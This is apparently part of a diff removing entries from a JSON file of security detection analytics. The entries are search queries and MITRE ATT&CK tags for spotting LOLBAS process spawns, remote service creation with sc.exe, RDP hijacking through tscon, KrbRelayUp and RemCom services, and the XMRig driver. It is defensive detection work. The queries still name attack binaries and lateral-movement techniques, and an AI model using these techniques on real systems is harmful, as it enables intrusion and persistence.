- "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A sc process $process_name$ with commandline $process$ to create of configure services in host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Services LOLBAS Execution Process Spawn", - "description": "The following analytic identifies `services.exe` spawning a LOLBAS (Living Off the Land Binaries and Scripts) execution process. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where `services.exe` is the parent process. This activity is significant because adversaries often abuse the Service Control Manager to execute malicious code via native Windows binaries, facilitating lateral movement. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name=services.exe) (Processes.process_name IN (\"Regsvcs.exe\", \"Ftp.exe\", \"OfflineScannerShell.exe\", \"Rasautou.exe\", \"Schtasks.exe\", \"Xwizard.exe\", \"Dllhost.exe\", \"Pnputil.exe\", \"Atbroker.exe\", \"Pcwrun.exe\", \"Ttdinject.exe\",\"Mshta.exe\", \"Bitsadmin.exe\", \"Certoc.exe\", \"Ieexec.exe\", \"Microsoft.Workflow.Compiler.exe\", \"Runscripthelper.exe\", \"Forfiles.exe\", \"Msbuild.exe\", \"Register-cimprovider.exe\", \"Tttracer.exe\", \"Ie4uinit.exe\", \"Bash.exe\", \"Hh.exe\", \"SettingSyncHost.exe\", \"Cmstp.exe\", \"Mmc.exe\", \"Stordiag.exe\", \"Scriptrunner.exe\", \"Odbcconf.exe\", \"Extexport.exe\", \"Msdt.exe\", \"WorkFolders.exe\", \"Diskshadow.exe\", \"Mavinject.exe\", \"Regasm.exe\", \"Gpscript.exe\", \"Rundll32.exe\", \"Regsvr32.exe\", \"Msiexec.exe\", \"Wuauclt.exe\", \"Presentationhost.exe\", \"Wmic.exe\", \"Runonce.exe\", \"Syncappvpublishingserver.exe\", \"Verclsid.exe\", \"Infdefaultinstall.exe\", \"Explorer.exe\", \"Installutil.exe\", \"Netsh.exe\", \"Wab.exe\", \"Dnscmd.exe\", \"At.exe\", \"Pcalua.exe\", \"Msconfig.exe\")) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `services_lolbas_execution_process_spawn_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA23-347A", - "Living Off The Land", - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Services.exe spawned a LOLBAS process on $dest$", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Suspicious Driver Loaded Path", - "description": "The following analytic detects the loading of drivers from suspicious paths, which is a technique often used by malicious software such as coin miners (e.g., xmrig). It leverages Sysmon EventCode 6 to identify drivers loaded from non-standard directories. This activity is significant because legitimate drivers typically reside in specific system directories, and deviations may indicate malicious activity. If confirmed malicious, this could allow an attacker to execute code at the kernel level, potentially leading to privilege escalation, persistence, or further system compromise.", - "search": "`sysmon` EventCode=6 ImageLoaded = \"*.sys\" NOT (ImageLoaded IN(\"*\\\\WINDOWS\\\\inf\",\"*\\\\WINDOWS\\\\System32\\\\drivers\\\\*\", \"*\\\\WINDOWS\\\\System32\\\\DriverStore\\\\FileRepository\\\\*\")) | stats min(_time) as firstTime max(_time) as lastTime count by dest ImageLoaded Hashes IMPHASH Signature Signed| rename ImageLoaded as file_name | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_driver_loaded_path_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "BlackByte Ransomware", - "CISA AA22-320A", - "Snake Keylogger", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious driver $file_name$ on $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows KrbRelayUp Service Creation", - "description": "The following analytic detects the creation of a service with the default name \"KrbSCM\" associated with the KrbRelayUp tool. It leverages Windows System Event Logs, specifically EventCode 7045, to identify this activity. This behavior is significant as KrbRelayUp is a known tool used for privilege escalation attacks. If confirmed malicious, this activity could allow an attacker to escalate privileges, potentially gaining unauthorized access to sensitive systems and data.", - "search": "`wineventlog_system` EventCode=7045 ServiceName IN (\"KrbSCM\") | stats count min(_time) as firstTime max(_time) as lastTime by dest EventCode ImagePath ServiceName StartType ServiceType | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_krbrelayup_service_creation_filter`", - "tags": { - "analytic_story": [ - "Local Privilege Escalation With KrbRelayUp" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A service was created on $dest$, related to KrbRelayUp.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Remote Create Service", - "description": "The following analytic identifies the creation of a new service on a remote endpoint using sc.exe. It leverages data from Endpoint Detection and Response (EDR) agents, specifically monitoring for EventCode 7045, which indicates a new service creation. This activity is significant as it may indicate lateral movement or remote code execution attempts by an attacker. If confirmed malicious, this could allow the attacker to establish persistence, escalate privileges, or execute arbitrary code on the remote system, potentially leading to further compromise of the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=sc.exe Processes.process IN (\"*create*\") Processes.process=\"*\\\\\\\\*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_remote_create_service_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to create a remote service.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Service Create Kernel Mode Driver", - "description": "The following analytic identifies the creation of a new kernel mode driver using the sc.exe command. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. The activity is significant because adding a kernel driver is uncommon in regular operations and can indicate an attempt to gain low-level access to the system. If confirmed malicious, this could allow an attacker to execute code with high privileges, potentially compromising the entire system and evading traditional security measures.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=sc.exe Processes.process=\"*kernel*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_service_create_kernel_mode_driver_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-320A", - "Windows Drivers" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Service control, $process_name$, loaded a new kernel mode driver on $dest$ by $user$.", - "risk_score": 48, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Service Create RemComSvc", - "description": "The following analytic detects the creation of the RemComSvc service on a Windows endpoint, typically indicating lateral movement using RemCom.exe. It leverages Windows EventCode 7045 from the System event log, specifically looking for the \"RemCom Service\" name. This activity is significant as it often signifies unauthorized lateral movement within the network, which is a common tactic used by attackers to spread malware or gain further access. If confirmed malicious, this could lead to unauthorized access to sensitive systems, data exfiltration, or further compromise of the network.", - "search": "`wineventlog_system` EventCode=7045 ServiceName=\"RemCom Service\" | stats count min(_time) as firstTime max(_time) as lastTime by dest ImagePath ServiceName ServiceType | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_service_create_remcomsvc_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A new service was created related to RemCom on $dest$.", - "risk_score": 32, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Service Create with Tscon", - "description": "The following analytic detects potential RDP Hijacking attempts by identifying the creation of a Windows service using sc.exe with a binary path that includes tscon.exe. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events and command-line arguments. This activity is significant as it indicates an attacker may be trying to hijack a disconnected RDP session, posing a risk of unauthorized access. If confirmed malicious, the attacker could gain control over an existing user session, leading to potential data theft or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=sc.exe Processes.process=\"*/dest:rdp-tcp*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_service_create_with_tscon_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to hijack a RDP session.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1563.002", - "mitre_attack_technique": "RDP Hijacking", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Axiom" - ] - }, - { - "mitre_attack_id": "T1563", - "mitre_attack_technique": "Remote Service Session Hijacking", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Service Created Within Public Path", - "description": "The following analytic detects the creation of a Windows Service with its binary path located in public directories using Windows Event ID 7045. This detection leverages logs from the `wineventlog_system` data source, focusing on the `ImagePath` field to identify services installed outside standard system directories. This activity is significant as it may indicate the installation of a malicious service, often used by adversaries for lateral movement or remote code execution. If confirmed malicious, this could allow attackers to execute arbitrary code, maintain persistence, or further compromise the system.", - "search": "`wineventlog_system` EventCode=7045 ImagePath = \"*.exe\" NOT (ImagePath IN (\"*:\\\\Windows\\\\*\", \"*:\\\\Program File*\", \"*:\\\\Programdata\\\\*\", \"*%systemroot%\\\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ImagePath ServiceName ServiceType StartType Computer UserID | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_service_created_within_public_path_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Snake Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "ServiceName", - "type": "Other", - "role": [ - "Other" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A Windows Service $ServiceName$ with a public path was created on $dest$", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Service Creation on Remote Endpoint", - "description": "The following analytic identifies the creation of a Windows Service on a remote endpoint using `sc.exe`. It detects this activity by analyzing process execution logs from Endpoint Detection and Response (EDR) agents, focusing on command-line arguments that include remote paths and service creation commands. This behavior is significant because adversaries often exploit the Service Control Manager for lateral movement and remote code execution. If confirmed malicious, this activity could allow attackers to execute arbitrary code on remote systems, potentially leading to further compromise and persistence within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=sc.exe OR Processes.original_file_name=sc.exe) (Processes.process=*\\\\\\\\* AND Processes.process=*create* AND Processes.process=*binpath*) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `windows_service_creation_on_remote_endpoint_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A Windows Service was created on a remote endpoint from $dest", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Service Initiation on Remote Endpoint", - "description": "The following analytic detects the execution of `sc.exe` with command-line arguments used to start a Windows Service on a remote endpoint. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because adversaries may exploit the Service Control Manager for lateral movement and remote code execution. If confirmed malicious, this could allow attackers to execute arbitrary code on remote systems, potentially leading to further compromise and persistence within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=sc.exe OR Processes.original_file_name=sc.exe) (Processes.process=*\\\\\\\\* AND Processes.process=*start*) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `windows_service_initiation_on_remote_endpoint_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A Windows Service was started on a remote endpoint from $dest", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Vulnerable Driver Loaded", - "description": "The following analytic detects the loading of known vulnerable Windows drivers, which may indicate potential persistence or privilege escalation attempts. It leverages Sysmon EventCode 6 to identify driver loading events and cross-references them with a list of vulnerable drivers. This activity is significant as attackers often exploit vulnerable drivers to gain elevated privileges or maintain persistence on a system. If confirmed malicious, this could allow attackers to execute arbitrary code with high privileges, leading to further system compromise and potential data exfiltration.", - "search": "`sysmon` EventCode=6 | stats min(_time) as firstTime max(_time) as lastTime count by dest ImageLoaded | lookup loldrivers driver_name AS ImageLoaded OUTPUT is_driver driver_description | search is_driver = TRUE | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_vulnerable_driver_loaded_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Windows Drivers" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An process has loaded a possible vulnerable driver on $dest$. Review and escalate as needed.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "XMRIG Driver Loaded", - "description": "The following analytic detects the installation of the XMRIG coinminer driver on a system. It identifies the loading of the `WinRing0x64.sys` driver, commonly associated with XMRIG, by analyzing Sysmon EventCode 6 logs for specific signatures and image loads. This activity is significant because XMRIG is an open-source CPU miner frequently exploited by adversaries to mine cryptocurrency illicitly. If confirmed malicious, this activity could lead to unauthorized resource consumption, degraded system performance, and potential financial loss due to unauthorized cryptocurrency mining.", - "search": "`sysmon` EventCode=6 Signature=\"Noriyuki MIYAZAKI\" OR ImageLoaded= \"*\\\\WinRing0x64.sys\" | stats min(_time) as firstTime max(_time) as lastTime count by dest ImageLoaded Hashes IMPHASH Signature Signed | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `xmrig_driver_loaded_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-320A", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A driver $ImageLoaded$ related to xmrig crytominer loaded in host $dest$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -193945,399 +153886,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] - }, - { - "name": "Linux Add Files In Known Crontab Directories", - "description": "The following analytic detects unauthorized file creation in known crontab directories on Unix-based systems. It leverages filesystem data to identify new files in directories such as /etc/cron* and /var/spool/cron/*. This activity is significant as it may indicate an attempt by threat actors or malware to establish persistence on a compromised host. If confirmed malicious, this could allow attackers to execute arbitrary code at scheduled intervals, potentially leading to further system compromise and unauthorized access to sensitive information.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*/etc/cron*\", \"*/var/spool/cron/*\") by Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.process_guid Filesystem.file_path | `drop_dm_object_name(Filesystem)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `linux_add_files_in_known_crontab_directories_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a file $file_name$ is created in $file_path$ on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - 